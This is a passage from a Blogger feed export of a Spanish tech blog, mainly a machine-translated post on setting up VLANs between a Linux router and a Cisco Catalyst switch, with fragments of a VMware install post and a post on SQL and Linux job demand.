style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p align="left"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Para iniciarlo bastará en una shell teclear vmware &amp;amp;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p align="left"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Dudas por favor postear y responderé...&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-5651029487803090501?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/5651029487803090501/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/05/instalando-vmware-700-en-slackware.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5651029487803090501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5651029487803090501'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/05/instalando-vmware-700-en-slackware.html' title='Instalando VMWare 7.0.0 en Slackware'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4414842007834287911</id><published>2010-04-30T10:23:00.000-07:00</published><updated>2010-05-13T12:22:21.454-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='IEEE 802.1Q'/><category scheme='http://www.blogger.com/atom/ns#' term='Operating system'/><category scheme='http://www.blogger.com/atom/ns#' term='Configure Vlan'/><category scheme='http://www.blogger.com/atom/ns#' term='IP address'/><category scheme='http://www.blogger.com/atom/ns#' term='Ifconfig'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtual LAN'/><title type='text'>vlan configuration - Linux and Cisco Catalyst L2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;first install linux &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Personal_computer" rel="wikipedia  nofollow" title="Personal computer"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;PC&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt; routernya use, up &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;to want to  wear anything ... but if I still use slackware. information, download  the &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Virtual_LAN" rel="wikipedia nofollow" title="Virtual LAN"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;VLAN&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt; package at  http://www.candelatech.com/ ~ greear /&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;extract tar-zxvf *. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://www.gnu.org/software/tar/" rel="homepage  nofollow" title="Tar (file format)"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt; vlan (make sure the &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Kernel_%28computing%29" rel="wikipedia nofollow" title="Kernel (computing)"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;kernel&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt; is in use  already support &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/IEEE_802.1Q" rel="wikipedia nofollow" title="IEEE 802.1Q"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;802.1q&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;) &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;"but surely if we are using sekarang2  kernel must have support browww" into the vlan directory and build with  the make command .... after the build up vconfig. this program to manage  all vlan configurations.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_QFoaNqjwVy4/SJ3fKlJgkBI/AAAAAAAAAAs/6fLgOiTyNIE/s1600/vlan-0.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="[vlan-0.JPG]" src="http://2.bp.blogspot.com/_QFoaNqjwVy4/SJ3fKlJgkBI/AAAAAAAAAAs/6fLgOiTyNIE/s1600/vlan-0.JPG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:78%;"&gt;ok ".. do it"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;first turn off eth0 on linux pc &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Router" rel="wikipedia nofollow" title="Router"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;router&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt; [# &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Ifconfig" rel="wikipedia nofollow" title="Ifconfig"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;ifconfig&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt; eth0 down], we  activate the eth0 interface by giving ip 0.0.0.0 [# ifconfig eth0  0.0.0.0 up].&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;vlan address configuration  information [vconfig add eth0 # 1] order to enable vlan 1, then the  system will create a device linux vlan0001. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;vlan0001 given ip at [# ifconfig-i vlan0001  192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 up]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;see by using the command [#  ifconfig-a] &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;command to do the  same in well to create another vlan&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;vlan 2: &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# vconfig add eth0 2 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# ifconfig-i vlan0002 192.168.2.1 netmask  255.255.255.0 broadcast 192.168.2.255&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;vlan 3: &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# vconfig add eth0 3 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# ifconfig-i vlan0003 192.168.3.1 netmask  255.255.255.0 broadcast 192.168.3.255&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;So much configuration on the  linux system, now entered into the console or &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Telnet" rel="wikipedia nofollow" title="Telnet"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;telnet&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt; cisco catalyst, and then give the fa0/24 trunk  mode in order to synchronize with a PC eth0 on linux router has the  configuration, well here it is the configuration&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# conf t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# interface FastEthernet0/24&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# duplex full &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;speed # 100 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport trunk encapsulation dot1q &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport mode trunk&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;the right to synchronize between  your PC and router linux Catalystnya ... then we stepped into the last  event ... ie eating hehehe. ngak wall. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;last step we are binding vlan configuration on the PC linux  router to an existing port on the Catalyst&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;vlan 1 on port 1, then we must  provide a configuration like this: &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# conf t &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# interface  FastEthernet0 / 1 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# duplex half &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport access vlan 1 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport mode access&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;vlan 2 on port 2, then we must  provide a configuration like this: &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# conf t &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# interface  FastEthernet0 / 2 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# duplex half &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport access vlan 2 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport mode access&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;vlan port 3 on 3, then we must  provide a configuration like this: &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# conf t &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# interface  FastEthernet0 / 3 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# duplex half &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport access vlan 3 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;# switchport mode access&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;finished ..&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;NOTA: La información fue tomada desde &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://cau2net.blogspot.com/2010/03/vlan-configuration-linux-and-cisco.html"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;aqui&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;, yo no soy el autor. Sólo que se me hizo algo útil y decidí postearlo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4414842007834287911?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4414842007834287911/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/04/vlan-configuration-linux-and-cisco.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4414842007834287911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4414842007834287911'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/04/vlan-configuration-linux-and-cisco.html' title='vlan configuration - Linux and Cisco Catalyst L2'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_QFoaNqjwVy4/SJ3fKlJgkBI/AAAAAAAAAAs/6fLgOiTyNIE/s72-c/vlan-0.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-5922867805015806086</id><published>2010-03-30T17:10:00.000-07:00</published><updated>2010-03-30T17:12:04.469-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='skills'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL'/><category scheme='http://www.blogger.com/atom/ns#' term='.Net'/><title type='text'>Rising demand for SQL, Linux skills</title><content type='html'>&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;Bien, para aquéllos que saben un poco de Inglés, aquí dejo esto.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;=========================================================&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;SQL, C#, .NET and Linux are  four skill areas that have seen a rising trend in demand, according to a new  report from the &lt;/span&gt;&lt;a class="articleHighlight" href="/tag/recruitment-and-employment-confederation"&gt;&lt;span style="font-family:verdana;"&gt;Recruitment and Employment  